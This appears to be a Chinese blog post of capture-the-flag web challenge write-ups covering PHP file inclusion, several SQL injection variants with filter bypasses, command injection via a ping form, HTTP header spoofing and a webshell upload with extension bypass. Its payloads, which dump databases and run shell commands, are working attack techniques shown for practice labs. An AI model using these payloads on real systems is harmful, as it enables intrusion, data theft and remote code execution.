WEB 渗透题(一)

[ACTF2020 新生赛]Include --文件包含

思路

burp 抓包,发现文件名有点问题。题目和网址的 file 参数,提示这是文件包含的题。

GET /?file=flag.php HTTP/1.1
Host: 9b09eb46-2433-4403-b582-c5ee23d12378.node4.buuoj.cn:81

因此可以构造文件名发包

file=php://filter/read=convert.base64-encode/resource=flag.php
GET /?file=php://filter/read=convert.base64-encode/resource=flag.php HTTP/1.1

得到结果 base64 解密

返回结果
PD9waHAKZWNobyAiQ2FuIHlvdSBmaW5kIG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7NzUyNTNiZTAtYzVhOS00ZmU4LWFiZDYtNjI5MmMzMGNjN2Y1fQo=

解密结果

这句的含义是用base64编码的方式来读文件,显示的是 flag.php被 base64 编码后的内容,base64解码即可看到 flag。

原理

原理:php://filter 是php中独有的一个协议,可以作为一个中间流来处理其他流,可以进行任意文件的读取

  • php://filter:这是声明协议,固有格式
  • read:表示可选参数,字面意思,同样还有 write
  • convert.base64-encode:代表过滤器,CTF中常用的PHP过滤器总结
  • resource:这是比选参数,指定要处理的文件名

[强网杯 2019]随便注 – 堆叠注入

SQL注入集合题

堆叠注入原理

SQL中,分号 ; 是用来表示一条SQL语句的结束。当在分号结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。

而联合注入也是将两条语句合并在一起,但是只执行一条语句。union 执行的语句类型有限,但堆叠注入可以依照次序执行任意语句。

首先查看源码,发现sqlmap是行不通的,于是只能手动注入。

输入:1 ,不报错
输入:1' ,不报错
输入:1' or 1,报错
输入:1' or 1 # ,不报错,存在 sql 注入
输入:1' order by 3 #,报错
输入:1' order by 2 #,不报错,说明有 2 列
输入:1' union select 1,2 #,不报错,但返回return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

几乎所有常用的关键字都被过滤了,所以考虑堆叠注入
输入:1'; show databases;#,不报错
输入:1'; show tables;#,不报错,有三个表分别为 hahahah、1919810931114514、words

查看 words 表 和 1919810931114514 表中的内容,
!!!注意表名上加引号!!!
输入:1';show columns from `words`; #
输入:1';show columns from `1919810931114514`; #, 出现了 flag 字样
array(6) {
  [0]=>
  string(4) "flag"
	...
}
由此可知 flag 字段的值即为目的

方法一:构造 payload

因为此题中 SQL 查询的关键字都被过滤了,所以考虑编码构造 payload 的方式来发送请求。

通过预处理函数,进行读取数据
MySQL 将 prepare、execute、deallocate 统称为 PREPARE STATEMENT。即预处理语句。
MySQL 预处理语句的支持版本较早,所以我们目前普遍使用的 MySQL 版本都是支持这一语法的。

构造 payload

1';Set @b=concat("sele","ct ","* from `1919810931114514`");prepare execsql from @b;execute execsql;#

注:
execsql 即为要执行的 sql 语句,这个不能命名为 sql
set 语句用于向系统变量或用户变量赋值,比如针对用户变量的定义:set @var_name1=xxx, @var_name2=expr1
prepare 是准备执行的声明
execute 执行由PREPARE语句定义的语句

出 flag

array(1) {
  [0]=>
  string(42) "flag{92897e4d-485b-45b3-a8ba-f184f86a8ff8}"
}

方法二:换名字

这个想不到,直接见参考链接

方法三: handler

HANDLE语句提供了直接访问存储引擎的接口。对于innodb和myism表都是可用的。

语法

HANDLER tbl_name OPEN [ [AS] alias]

HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
    [ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
    [ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ { FIRST | NEXT }
    [ WHERE where_condition ] [LIMIT ... ]

HANDLER tbl_name CLOSE
  • handler table_name open as alias:打开一个表,并重命名
  • handler...read:访问刚才打开的表
  • handler...close:关闭刚才打开的表

例如

# 通过handler语句查询users表的内容
handler users open as u; # 打开 users 表并且重命名为 u
handler u read first; # 读取指定表的首行数据
handler u read next; # 读取指定表的下一行数据
handler u read next; # 读取指定表的下一行数据
...
handler u close; # 关闭表

因此,对于这个题,可以构造语句得到 flag

需要注意的是,1' 后面跟着的是enter键左边的 '。表名上的是 TAB 键上方的那个 `
1'; handler `1919810931114514` open as `a`;handler `a` read next;#
array(1) {
  [0]=>
  string(42) "flag{24ac33cf-0373-46bf-8129-fb79151299aa}"
}

知识点

# 在过滤了关键字的情况下,还可以使用 show 来爆出数据库名,表名,和列名。
show datebases;
show tables; 
show columns from table;

# 对列的增删改关键字add、alter、drop
alter table "table_name" add "column_name" type; 
alter table "table_name" drop "column_name"  type;
alter table "table_name" alter column "column_name" type;

# 对列名的修改
alter table "table_name" rename "column1" to "column2";

# handler
handler users open as u; # 打开 users 表并且重命名为 u
handler u read first; # 读取指定表的首行数据
handler u read next; # 读取指定表的下一行数据
handler u read next; # 读取指定表的下一行数据
...
handler u close; # 关闭表

[SUCTF 2019]EasySQL-- 堆叠注入

参考链接

输入:1,不报错
输入:' or '1'='1,不报错但出现 Nonono,说明存在 waf,ban 掉了一些关键字

尝试堆叠注入

输入:1;show tables; 结果是 Array ( [0] => 1 ) Array ( [0] => Flag )

使用 handler,发现也被 ban 了关键字

1; handler `Flag` open as `f`; handler `f` read next; #

换种思路,当前数据库中只有一个表Flag,所以当前 sql 的查询必然是查询此表,因为输入1有回显,而输入其他 0 没有回显,猜测内置的查询语句有||,猜测 sql 查询的内容为

$sql = "select ".$post['query']."||flag from Flag";

方法一:构造语句

所以可以构造语句

输入:*,1
select *, 1||flag from Flag 相当于 select * from Flag

得
Array ( [0] => flag{299ffb24-3079-4edc-b27d-0156fc26eaf8} [1] => 1 )

方法二:操作符重置法

使用set sql_mode=PIPES_AS_CONCAT;|| 视为字符串的连接操作符而非或运算符。也就是将获运算功能变为字符串拼接。这样就可以构造

1;set sql_mode=PIPES_AS_CONCAT;select 1

本题的难点还是要从0和1的回显去进行推断。题目源码。

[极客大挑战 2019]Secret File–文件包含

看到页面就可以猜测是隐藏了一些信息的,查看页面源代码,可以先搜索 php、asp、html等关键字,此处我们搜索到

直接点击访问 ./Archive_room.php,再次查看源码,发现有action.php,这个就是页面上的跳转按钮

猜测action.php访问时间很短,时间一到立即跳转到 end.php,在源码中点击 action.php ,使用 burp 拦截,结果是

DOCTYPE html>
<html>

html>

访问得到

<html>
    <title>secret</title>
    <meta charset="UTF-8">
<?php
    highlight_file(__FILE__);
    error_reporting(0);
    $file=$_GET['file'];
    if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
        echo "Oh no!";
        exit();
    }
    include($file); 
//flag放在了flag.php里
?>
</html>

最后访问 flag.php ,还是得不到答案,通过查看页面源代码发现并没有将 flag 写出来,但根据提示可以肯定 flag 就在这里,前端看不到,那就说明在 php 代码里,如何获取 flag.php 的源码?需要返回查看 secr3t.php 的文件包含漏洞。

传入的file经过了一些过滤,但是没有过滤filter,我们可以用 php://filter 来获取文件,因此可以构造语句来读取base64编码后的 flag.php

secr3t.php?file=php://filter/read=convert.base64-encode/resource=flag.php

base 64解码得到结果

DOCTYPE html>

<html>

    <head>
        <meta charset="utf-8">
        <title>FLAGtitle>
    head>

    <body style="background-color:black;"><br><br><br><br><br><br>
        
        <h1 style="font-family:verdana;color:red;text-align:center;">啊哈!你找到我了!可是你看不到我QAQ~~~h1><br><br><br>
        
        <p style="font-family:arial;color:red;font-size:20px;text-align:center;">
            
        p>
    body>

html>

[极客大挑战 2019]LoveSQL–SQL注入

方法一:手动注入

可以 sqlmap 跑但是没必要

尝试万能密码

username: admin' or '1'='1
password: 1

结果是登录成功

Hello admin!
Your password is 'e72f951fecec43c4cae765f6084f9cd0'

尝试 MD5 解密失败,还是得要手工注入

错误写法
?username=admin' order by 3 # &password=1

正确写法:要把 # 替换为 %23,否则不会自动转
?username=admin' order by 3%23 &password=1 ==> 不报错
?username=admin' order by 4%23 &password=1 ==> Unknown column '4' in 'order clause'

附:URL编码表

说明一共有三列

加 and 0 显位
?username=admin' and 0 union select 1,2,3%23 &password=1

结果是
Hello 2!
Your password is '3'
说明第二位和第三位有回显

查库

?username=admin' and 0 union select 1,database(),version()%23 &password=1

Hello geek!
Your password is '10.3.18-MariaDB'

库为 geek,接着爆表

?username=admin' and 0 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23 &password=1

Hello 2!
Your password is 'geekuser,l0ve1ysq1'

尝试 l0ve1ysq1 这个表

?username=admin' and 0 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema = database() and table_name='l0ve1ysq1'%23 &password=1

Hello 2!
Your password is 'id,username,password'

爆数据

?username=admin' and 0 union select 1,2,group_concat(concat_ws(',',id,username,password)) from l0ve1ysq1%23&password=

注
group_concat()返回字符串结果,该结果由分组中的值连接组合而成
concat_ws(separator,str1,str2,…)可以指定分隔符,拼接字符串

得到 flag

flag{db97ba19-0c70-4d40-b4a5-98e4b1d29863}

[ACTF2020 新生赛]Exec–Linux/远程命令执行

ping 的题,猜测远程命令执行

payload: ping 127.0.0.1;ls

显示 index.php

知识点 :linux 系统中显示网页路径是 /var/www/html,也就是说,index.php的路径是 /var/www/html/index.php

先返回根目录看看 flag 在不在

ping 127.0.0.1;cd /;ls | grep flag

结果还真有,直接 cat

ping 127.0.0.1;cd /;cat flag

flag{04096105-ff9f-477b-a6ce-8fc83f871edf}

[GXYCTF2019]Ping Ping Ping–Linux/远程命令执行

根据题目名称猜测是远程命令执行题

payload

?ip=127.0.0.1

显示成功返回数据

?ip=127.0.0.1;ls

返回结果
PING 127.0.0.1 (127.0.0.1): 56 data bytes
flag.php
index.php

说明当前目录下有这两个文件,如果是linux系统,那这两文件的目录应该是在 /var/www/html下的,尝试cat

?ip=127.0.0.1;cat flag.php

返回结果
/?ip= fxck your space!

说明空格被过滤了,空格有很多种代替方法,比如

%20、%09、$IFS$1、${IFS}、<、<>等

这里$IFS$1可以绕过

?ip=127.0.0.1;cat$IFS$1flag.php

返回
/?ip= fxck your flag!

测试 index.php

?ip=127.0.0.1;cat$IFS$1index.php

返回
/?ip=
/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "
";
  print_r($a);
}

?>

这段的意思是对我们的输入进行了过滤,preg_match("/.*f.*l.*a.*g.*/", $ip)的意思是如果我们把flag连着写,就会被匹配到,因此只需要分开写即可。

. 用来匹配出换行符\n以外的任意字符
* 用来匹配前面的子表达式任意次
+ 用来匹配前面的子表达式一次或多次(大于等于1次)
? 用来匹配前面的子表达式零次或一次

拼接 flag,注意姿势

?ip=127.0.0.1;a=fl;b=ag;cat$IFS$1$a$b.php
上述是无法绕过的,需要改变ab的顺序
?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php

查看源码即可得到 flag

/?ip=
PING 127.0.0.1 (127.0.0.1): 56 data bytes

[极客大挑战 2019]BabySQL

尝试

username: 1' or '1'=1
password: 1

返回 NO,Wrong username password!!!

尝试

username: 1' order by 3#
password: 1
返回 near 'der 3 #' and password='1'' at line 1

说明 orby 被过滤了,使用双写尝试

username: 1' oorrder bbyy 3#
password: 1

成功,说明共有三列

爆库

username: 1' and 0 union select 1,2,3 #
password: 1

返回
syntax to use near '0 1,2,3 #' and password='1'' at line 1

说明 union、select 都被过滤了,使用双写

username: 1' and 0 ununionion seselectlect 1,2,3 #
password: 1

返回
syntax to use near '0 union select 1,2,3 #' and password='1'' at line 1

说明 and 也可能被过滤了

username: 1' anandd 0 ununionion seselectlect 1,2,3 #
password: 1

返回
Hello 2!
Your password is '3'

爆库

username: 1' anandd 0 ununionion seselectlect 1,2,database() #
password: 1

返回
Hello 2!
Your password is 'geek'

爆表,需要注意的是,在测试过程中发现 from、where被过滤,需要双写,此外information中含有的or也要双写

username: 1' anandd 0 ununionion seselectlect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables wherwheree table_schema=database()#
password: 1

返回
Hello 2!
Your password is 'b4bsql,geekuser‘

这两个表都尝试后发现后没有 flag!,因此尝试爆出所有数据库!

username: 1' anandd 0 ununionion seselectlect 1,2,group_concat(schema_name) frfromom infoorrmation_schema.schemata#
password: 1

返回
Hello 2!
Your password is 'information_schema,mysql,performance_schema,test,ctf,geek'

ctf 库中爆表

username: 1' anandd 0 ununionion seselectlect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables wherwheree table_schema='ctf'#
password: 1

Hello 2!
Your password is 'Flag'

爆列,注意 and 也需要双写

username: 1' anandd 0 ununionion seselectlect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns wherwheree table_schema='ctf' anandd table_name='Flag'#
password: 1

返回 
Hello 2!
Your password is 'flag'

直接库.表名拖数据

username: 1' anandd 0 ununionion seselectlect 1,2,group_concat(flag) frfromom ctf.Flag#
password: 1

返回
Hello 2!
Your password is 'flag{2f9fc7e2-45c0-43b0-b197-f663ccdd75b6}'

[极客大挑战 2019]HardSQL–报错注入

尝试

username: 1' or '1'='1
password: 1
结果:不报错

username: admin' order by 3 #
结果:不报错

username: admin' order by 4 #
结果:不报错

username: admin' and 0 union select 1,2,3 #
结果:不报错

username: '
password: 1
结果:报错 syntax to use near '1'' at line 1

username: '"
password: 1
结果:报错 syntax to use near '“' and password='1'' at line 1

username: '#
password: 1
结果:不报错


接着用 order by 查列,查不出来,怀疑关键字被过滤且是报错注入

username: ' or extractvalue(1,concat(0x7e,(select (database()))))#
password: 1
结果:不报错,怀疑空格也被过滤

去除空格尝试,注意,select后也要加括号,所有去除空格地方都要加括号
username: 'or(extractvalue(1,concat(0x7e,(select(database())))))#
password: 1
结果:XPATH syntax error: '~geek'

得到数据库名后爆表,

username: 'or(extractvalue(1,concat(0x7e,($sql))))#
password: 1
$sql = select(group_concat(table_name))from(information_schema.tables)where(table_schema='geek')
结果不报错,说明等于号被过滤了,可以使用 like 关键字尝试

$sql = select(group_concat(table_name))from(information_schema.tables)where((table_schema)like('geek'))
结果:XPATH syntax error: '~H4rDsq1'



有点问题
'or(extractvalue(1,concat(0x7e,(select(group_concat(schema_name))from(information_schema.schemata)),0x7e)))#



爆字段

username: 'or(extractvalue(1,concat(0x7e,($sql))))#
password: 1
$sql = select(group_concat(column_name))from(information_schema.columns)where((table_name)like('H4rDsq1'))
结果:XPATH syntax error: '~id,username,password'

拖数据

username: 'or(extractvalue(1,concat(0x7e,($sql))))#
password: 1
$sql = select(group_concat(id,username,password))from(geek.H4rDsq1)
结果:XPATH syntax error: '~1flagflag{4d5310ec-cd4a-4fda-9b'

flag 只出来一半,因为用extractvalue()函数,一次只能显示32个字符,我们需要用{left(),right()}两个函数解决

left(str,len): 返回字符串 str 最左边的 len 个字符
right(str,len): 同理,返回字符串 str 最右边的 len 个字符

因此 sql 写成

$sql = select(left(password,30))from(geek.H4rDsq1)
$sql = select(right(password,30))from(geek.H4rDsq1)
分别返回
XPATH syntax error: '~flag{4d5310ec-cd4a-4fda-9bb1-7'
XPATH syntax error: '~c-cd4a-4fda-9bb1-7afc0e03b4e6}'

拼接 flag

flag{4d5310ec-cd4a-4fda-9bb1-7afc0e03b4e6}

[GXYCTF2019]BabySQli–联合查询构造数据

尝试

UserName: 1' or '1'='1
password: 1

显示:do not hack me!

UserName: 1'
password: 1
显示:syntax to use near ''1''' at line 

查看页面源码大,发现 search.php,跳转后发现页面上有一串注释


<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 
<title>Do you know who am I?title>

如何区分判断 MD5、BASE32、BASE64 等加密算法

  • MD5

  • MD5值是32位由数字 0-9 和字母 a-f 所组成的字符串,如21232F297A57A5A743894A0E4A801FC3

  • 特征:确定性(数据唯一,MD5唯一)、不可逆

  • BASE64

  • 一般情况下密文尾部都会有一个或两个等号,这是它编码原理导致的,明文很少的时候则没有,例如 YWRtaW4tcm9vdA==

  • 可逆

  • 其他可参考链接

这个题要 base32 解密再 base64 解密(无语。。。),得到如下语句

select * from user where username = '$name'

意思是 本题的用户名和密码是分开检验的,先检测 username,username有了之后再校验密码能不能对应,检验密码的时候可能涉及 MD5 加密

经过测试,用户名为 admin 时显示 wrong pass,而为其他用户名时显示的是 wrong user,这就说明存在 admin 用户

此时思路转变为获取 admin 的密码,我们需要知道 username 在数据库的哪一列,有了如下测试

猜列数

1' order by 3#1' order by 4#1' order by 5#均出现的是:do not hack me! 说明有关键字被过滤了(等会介绍如何用 burp fuzz)1‘ union select 1,2#显示:Error: The used SELECT statements have a different number of columns1‘ union select 1,2,3#显示:wrong user! 说明共有三列,可以大致猜测是 id、username、password

猜用户名在哪一列

1' union select 'admin',2,3#
显示:wrong user!

1' union select 1,'admin',3#
显示:wrong pass!

说明在第二列

可以猜测后端php的校验过程,大致为

前端:输入 username,password
后端:数据库中查询用户名及其对应的 md5 加密后的密码 pwd
method(){
		if(MD5(password) == pwd){
				echo flag
		}else{
				...
		}
}

联合注入技巧

  • 当联合查询不存在的数据时,联合查询会构造一个虚拟的数据

比如下面这样语句就利用联合查询创建了一行虚拟的数据。

select * from users union select  1,'admin',md5(123456);

因此,可以利用联合查询创建一行 admin 账户的数据,创建时候要直接给出 MD5(123456) 的值

1' union select 1,'admin','E10ADC3949BA59ABBE56E057F20F883E'#显示:wrong pass!

经过测试,发现用的是 MD5 32位小写

1' union select 1,'admin','e10adc3949ba59abbe56e057f20f883e'#

登陆
1' union select 1,'admin','e10adc3949ba59abbe56e057f20f883e'#
123456

得到 flag
flag{f117d81f-a6da-4e6d-9109-0bc116a9899a}

本题考察的是简单的手工注入+联合查询查询不存在数据会构造虚拟的数据。

[极客大挑战 2019]Knife

白给的 shell,根据题目名字,是中国菜刀题了,查看源码,发现 eval($_POST["Syc"]);,要走后门

直接菜刀(没有 mac 版),或者蚂剑,进去添加链接,文件管理

地址:http://c89eafc4-6d08-4ece-a61c-02d9971669be.node4.buuoj.cn:81/
密码:Syc

在根目录中最下方有个 flag文件,点开直接获取

flag{770f1947-6aa1-4414-87b8-9c63d36acbdb}

[极客大挑战 2019]Http

打开链接,查看网页源码,发现 Secret.php,跳转过去,出现 It doesn't come from 'https://Sycsecret.buuoj.cn'

我们要访问 http://node4.buuoj.cn:26953/Secret.php,它需要从指定的网站跳转过去,因此使用 burp 抓包,报文中添加 Referer 即可

Referer:https://Sycsecret.buuoj.cn

看到提示 Please use "Syclover" browser,只需要修改 User-Agent

User-Agent:Syclover

看到提示 No!!! you can only read this locally!!!,意思是我们只能在本地访问,那么伪造 ip,只需要添加

X-Forwarded-For:127.0.0.1

得到 flag

flag{17a6ff05-b28d-41e4-961b-42f2d94403a9}

知识点补充

X-Forwarded-For

  • 问题:Web 经常会需要获取客户端IP地址,比如投票系统,为了防止刷票,目前互联网Web应用很少会将应用服务器直接对外提供服务,一般都会有一层Nginx做反向代理和负载均衡,有的甚至可能有多层代理。在有反向代理的情况下,直接使用request.getRemoteAddr()获取到的IP地址是Nginx所在服务器的IP地址,而不是客户端的IP。HTTP 协议是基于 TCP 协议的,按照这种情况,TCP 层也拿不到真实 IP。

  • 解决:很多HTTP代理会在HTTP协议头中添加X-Forwarded-For头,用来追踪请求的来源。X-Forwarded-For的格式为

  • X-Forwarded-For: client1, proxy1, proxy2
    
  • X-Forwarded-For包含多个IP地址,每个值通过逗号+空格分开,最左边(client1)是最原始客户端的IP地址,中间如果有多层代理,每一层代理会将连接它的客户端IP追加在X-Forwarded-For右边。

参考文章

[极客大挑战 2019]Upload

尝试之后,发现上传什么文件都不能成功,即使改成图片格式也不行,尝试写一句话木马,并且在文件前加上 GIF 文件头 GIF89a

以下是 hello.txt 文件的内容

GIF89a

上传后显示NO Image,说明我们不能上传 txt 文件,这个 burp 抓了改 Content-Type即可,修改后上传显示 NO! HACKER! your file included ',需要修改一句话木马为脚本执行语句

hello.phtml 文件【后缀绕过】

GIF89a

上传,burp 截取,修改下Content-typeimage/jpeg,而不是 text/php

上传成功,用菜刀连接,需要知道上传之后的文件在哪。猜测是常规的目录/upload下面,连接成功

xxx/upload/hello.phtml

根目录下找到 flag

flag{3e3e2a88-88cd-459c-97fc-2dc57fc7969e}

总结:有几个绕道过点

  • 图片文件头
  • 文件内容不能有
  • 后缀绕过,常见的php后缀:php2, php3, php4, php5, phps, pht, phtm, phtml

你可能感兴趣的:(网安,web安全)